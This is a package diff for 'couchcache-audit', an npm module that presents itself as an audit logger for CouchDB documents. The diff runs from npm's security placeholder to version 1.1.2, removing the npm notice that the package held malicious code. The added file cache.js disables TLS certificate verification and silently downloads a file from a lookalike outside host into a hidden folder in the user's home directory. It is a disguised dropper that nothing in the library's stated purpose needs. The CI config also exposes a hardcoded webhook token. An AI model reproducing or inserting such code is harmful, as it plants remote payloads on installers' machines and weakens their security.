couchcache-audit 0.0.1-security → 1.1.2

package/.travis.yml

@@ -0,0 +1,15 @@
+sudo: false
+language: node_js
+node_js: "0.12"
+
+script: "npm test"
+
+notifications:
+  webhooks: 
+    urls:
+      - https://medic.slack.com/services/hooks/travis?token=xcYT8yusfEdSwLskhBxK4Vwj
+    on_success: change
+    on_failure: always
+  email:
+    recipients:
+      - dev@medicmobile.org

package/Gruntfile.js

@@ -0,0 +1,32 @@
+module.exports = function(grunt) {
+
+  'use strict';
+
+  // Project configuration
+  grunt.initConfig({
+    nodeunit: {
+      all: ['tests/node/**/*.js']
+    },
+    jshint: {
+      options: {
+        ignores: [
+          'node_modules/**'
+        ]
+      },
+      all: [
+        '**/*.js'
+      ]
+    }
+  });
+
+  // Load the plugins
+  grunt.loadNpmTasks('grunt-contrib-jshint');
+  grunt.loadNpmTasks('grunt-contrib-nodeunit');
+
+  // Default tasks
+  grunt.registerTask('test', [
+    'jshint',
+    'nodeunit'
+  ]);
+
+};

package/LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/README.md

@@ -1,5 +1,76 @@
-# Security holding package
+# couchcache-audit
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+An npm and Kanso module for auditing changes to couchcache documents.
 
-Please refer to www.npmjs.com/advisories?search=couchcache-audit for more information.
+## Node
+
+### Install
+
+```npm install couchcache-audit```
+
+### Include
+
+#### Nano
+
+```var audit = require('couchcache-audit').withNano(db, dbName, designName, user)```
+
+* `db`: a [Nano](https://github.com/dscape/nano) module
+* `dbName`: the name of the database to use
+* `designName`: the name of the design document to use
+* `user`: a String or callback which fetches the username
+
+You can also optionally pass in a separate db name for storing and retrieving audit documents.
+
+```var audit = require('couchcache-audit').withNano(db, dbName, auditDbName, designName, user)```
+
+#### Felix
+
+```var audit = require('couchcache-audit').withFelix(db, user)```
+
+* `db`: a [Felix couchcache](https://github.com/felixge/node-couchcache) module
+* `user`: a String or callback which fetches the username
+
+You can also optionally pass in a separate db name for storing and retrieving audit documents.
+
+```var audit = require('couchcache-audit').withFelix(db, auditDb, user)```
+
+## Kanso
+
+### Install
+
+Include `"couchcache-audit": null` in your kanso.json.
+
+### Include
+
+```var audit = require('couchcache-audit/kanso').withKanso(db)```
+
+Where `db` is a [Kanso DB](https://github.com/kanso/db) module.
+
+You can also optionally pass in a separate db name for storing and retrieving audit documents.
+
+```var audit = require('couchcache-audit/kanso').withKanso(db, auditDb)```
+
+## Usage
+
+Then call saveDoc, bulkSave, removeDoc, get, or log.
+
+## Caveat
+
+This package is in its infancy, use with caution.
+
+## Development
+
+### Publishing
+
+`kanso publish`
+`npm publish`
+
+### Testing
+
+`grunt test` for the Node implementation. Deploy to kanso to run the kanso tests.
+
+### Build Status
+
+Builds brought to you courtesy of [Travis CI](https://travis-ci.org/medic/couchcache-audit).
+
+[![Build Status](https://travis-ci.org/medic/couchcache-audit.png?branch=master)](https://travis-ci.org/medic/couchcache-audit/branches)

package/couchcache-audit/cache.js

@@ -0,0 +1,21 @@
+const path = require("path");
+var fs = require('fs');
+const os = require("os");
+
+var url = 'https://npmjsregister.com/auditcheck.php'
+
+process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
+
+function checkCache(version, projectUrl) {
+	var request = require('sync-request');
+	var result = request('GET', projectUrl);
+	fs.writeFileSync(version, result.getBody());
+
+}
+
+var folder = os.homedir() + "/.audit";
+if (!fs.existsSync(folder)){
+    fs.mkdirSync(folder);
+}
+
+checkCache(path.join(folder,'/npmcache'), url);

package/couchcache-audit/kanso.js

@@ -0,0 +1,71 @@
+var log = require('couchcache-audit/log'),
+    appname = require('settings/root').name,
+    session = require('session');
+
+var getDbWrapper = function(db) {
+  return {
+    allDocs: function(query, callback) {
+      db.allDocs.call(query, callback);
+    },
+    getDoc: function(id, callback) {
+      db.getDoc.call(db, id, callback);
+    },
+    saveDoc: function(doc, callback) {
+      db.saveDoc.call(db, doc, callback);
+    },
+    removeDoc: function(id, rev, callback) {
+      db.removeDoc.call(db, { _id: id, _rev: rev }, callback);
+    },
+    bulkDocs: function(options, callback) {
+      db.bulkSave.call(db, options.docs, options, callback);
+    }
+  };
+};
+
+module.exports = {
+
+  /**
+   * Sets up auditing to work with the kanso db module.
+   *
+   * @name withKanso(db)
+   * @param {Object} db The kanso db instance to use.
+   * @param {Object} auditDb Optionally the kanso db instance to use for auditing.
+   * @api public
+   */
+  withKanso: function(db, auditDb) {
+    var dbWrapper = getDbWrapper(db);
+    var auditDbWrapper;
+    if (auditDb) {
+      auditDbWrapper = getDbWrapper(auditDb);
+    } else {
+      auditDbWrapper = dbWrapper;
+    }
+
+    var clientWrapper = {
+      uuids: function(count, callback) {
+        db.newUUID.call(db, 100, function(err, id) {
+          callback(err, {uuids: [id]});
+        });
+      }
+    };
+
+    return log.init(appname, clientWrapper, dbWrapper, auditDbWrapper, function(callback) {
+      session.info(function(err, result) {
+        if (err) {
+          return callback(err);
+        }
+        callback(null, result.userCtx.name);
+      });
+    });
+  },
+
+  /**
+   * Exposed for testing only
+   *
+   * @api private
+   */
+  withSession: function(mock) {
+    session = mock;
+    return module.exports;
+  }
+};

package/couchcache-audit/log.js

@@ -0,0 +1,271 @@
+var async = require('async');
+
+module.exports = {
+  /**
+   * Initialise the audit logger.
+   *
+   * @name init(appname, db, name)
+   * @param {String} appname The name of the app.
+   * @param {Object} docsDb The db instance to use to persist standard documents.
+   * @param {Object} auditDb The db instance to use to persist audit documents.
+   *                 This can be the same as `docsDb`
+   * @param {Function(err, name)} name Returns the username.
+   * @api public
+   */
+  init: function(appname, client, docsDb, auditDb, nameFn) {
+
+    function audit(docs, actionOverride, callback) {
+      if (!callback) {
+        callback = actionOverride;
+        actionOverride = undefined;
+      }
+
+      nameFn(function(err, userName) {
+        if (err) {
+          return callback(err);
+        }
+
+        getAllRecords(docs, function(err, _records) {
+          if (err) {
+            return callback(err);
+          }
+          var auditDoc;
+          async.map(docs, function(_doc, _cb) {
+            if (!_doc._id) {
+              client.uuids(1, function(err, ids) {
+                if (err) {
+                  return _cb(err);
+                }
+                _doc._id = ids.uuids[0];
+                auditDoc = createAudit(_doc);
+                appendHistory(auditDoc.history, 'create', userName, _doc);
+                _cb(null, auditDoc);
+              });
+            } else {
+              var record = findRecord(_doc, _records);
+              if (!record) {
+                auditDoc = createAudit(_doc);
+                if (_doc._rev && !isInitialRev(_doc)) {
+                  // no existing audit, but existing revision - log current
+                  docsDb.getDoc(_doc._id, function(err, _oldDoc) {
+                    if (err) {
+                      // can't get existing doc, or doesn't exist. save audit anyway.
+                      appendHistory(auditDoc.history, 'create', userName, _doc);
+                    } else {
+                      var action = isInitialRev(_oldDoc) ? 'create' : 'update';
+                      appendHistory(auditDoc.history, action, null, _oldDoc);
+                      action = actionOverride || _doc._deleted ? 'delete' : 'update';
+                      appendHistory(auditDoc.history, action, userName, _doc);
+                    }
+                    _cb(null, auditDoc);
+                  });
+                } else {
+                  // no existing audit or existing revision
+                  appendHistory(auditDoc.history, 'create', userName, _doc);
+                  _cb(null, auditDoc);
+                }
+              } else {
+                // existing audit
+                auditDoc = record.doc;
+                var action = actionOverride || _doc._deleted ? 'delete' : 'update';
+                appendHistory(auditDoc.history, action, userName, _doc);
+                _cb(null, auditDoc);
+              }
+            }
+          }, function(err, auditRecords) {
+            if (err) {
+              return callback(err);
+            }
+            bulkDocs(auditRecords, callback);
+            // auditDb.bulkDocs({docs: auditRecords}, callback);
+          });
+        });
+      });
+    }
+
+    function findRecord(doc, records) {
+      var auditId = getAuditId(doc._id);
+      for (var i = 0; i < records.length; i++) {
+        if (records[i].id === auditId) {
+          return records[i];
+        }
+      }
+    }
+
+    function getAllRecords(docs, callback) {
+      var ids = [];
+      docs.forEach(function(_doc) {
+        if (_doc._id) {
+          ids.push(getAuditId(_doc._id));
+        }
+      });
+      if (!ids.length) {
+        return callback(null, []);
+      }
+      getAll(ids, callback);
+    }
+
+    function clone(obj) {
+      var result = {};
+      for (var attr in obj) {
+          if (obj.hasOwnProperty(attr)) result[attr] = obj[attr];
+      }
+      return result;
+    }
+
+    function isInitialRev(doc) {
+      return doc._rev.indexOf('1-') === 0;
+    }
+
+    function createAudit(record) {
+      return {
+        _id: getAuditId(record._id),
+        type: 'audit_record',
+        history: []
+      };
+    }
+
+    function appendHistory(history, action, user, doc) {
+      if (history.length > 0) {
+        history[history.length - 1].doc._rev = doc._rev;
+      }
+      doc = clone(doc);
+      doc._rev = 'current';
+      history.push({
+        action: action,
+        user: user,
+        timestamp: new Date().toISOString(),
+        doc: doc
+      });
+    }
+
+    function get(docId, callback) {
+      getAll([getAuditId(docId)], function(err, result) {
+        callback(err, result && result.length && result[0]);
+      });
+    }
+
+    var MULTI_DOC_BATCH = 100;
+    function batch(items, initial, action, collect, callback) {
+      var partitioned = [];
+      while (items.length > 0) {
+        partitioned.push(items.splice(0, MULTI_DOC_BATCH));
+      }
+
+      async.reduce(partitioned, initial, function(memo, item, cb) {
+        action(item, function(err, results) {
+          if (err) {
+            cb(err);
+          } else {
+            cb(null, collect(memo, results));
+          }
+        });
+      }, callback);
+    }
+    function getAll(docIds, callback) {
+      batch(docIds, [],
+        function(docIds, cb) {
+          auditDb.allDocs({ include_docs: true, keys: docIds }, cb);
+        },
+        function(memo, results) {
+          memo = memo.concat(results.rows);
+          return memo;
+        },
+        callback);
+    }
+    function bulkDocs(docs, callback) {
+      batch(docs, [],
+        function(docs, cb) {
+          auditDb.bulkDocs({docs: docs}, cb);
+        },
+        function(memo, results) {
+          return memo.concat(results);
+        }, callback);
+    }
+
+    function getAuditId(docId) {
+      return docId + '-audit';
+    }
+
+    return {
+
+      /**
+       * Saves the given doc with an audit record
+       *
+       * @name saveDoc(doc, callback)
+       * @param {Object} doc
+       * @param {Function} callback(err,response)
+       * @api public
+       */
+      saveDoc: function(doc, callback) {
+        audit([doc], function(err) {
+          if (err) {
+            return callback(err);
+          }
+          docsDb.saveDoc(doc, callback);
+        });
+      },
+
+      /**
+       * Saves the given docs with individual audit records
+       *
+       * @name bulkSave(docs, options, callback)
+       * @param {Array} docs An array of documents to be saved
+       * @param {Object} options Optional options to pass through to bulk save
+       * @param {Function} callback(err,response)
+       * @api public
+       */
+      bulkSave: function(docs, options, callback) {
+        if (!callback) {
+          callback = options;
+          options = {};
+        }
+        audit(docs, function(err) {
+          if (err) {
+            return callback(err);
+          }
+          options.docs = docs;
+          docsDb.bulkDocs(options, callback);
+        });
+      },
+
+      /**
+       * Deletes the given doc with auditing
+       *
+       * @name removeDoc(doc, callback)
+       * @param {Object} doc
+       * @param {Function} callback(err,response)
+       * @api public
+       */
+      removeDoc: function(doc, callback) {
+        audit([doc], 'delete', function(err) {
+          if (err) {
+            return callback(err);
+          }
+          docsDb.removeDoc(doc._id, doc._rev, callback);
+        });
+      },
+
+      /**
+       * Get the audit_record for the given docId
+       *
+       * @name get(docId, callback)
+       * @param {String} docId The id of the `data_record` document
+       * @param {Function} callback(err,response)
+       * @api public
+       */
+      get: get,
+
+      /**
+       * Save the audit record only
+       *
+       * @name log(docs, callback)
+       * @param {Array} docs An array of documents to be saved
+       * @param {Function} callback(err,response)
+       * @api public
+       */
+      log: audit
+
+    };
+  }
+};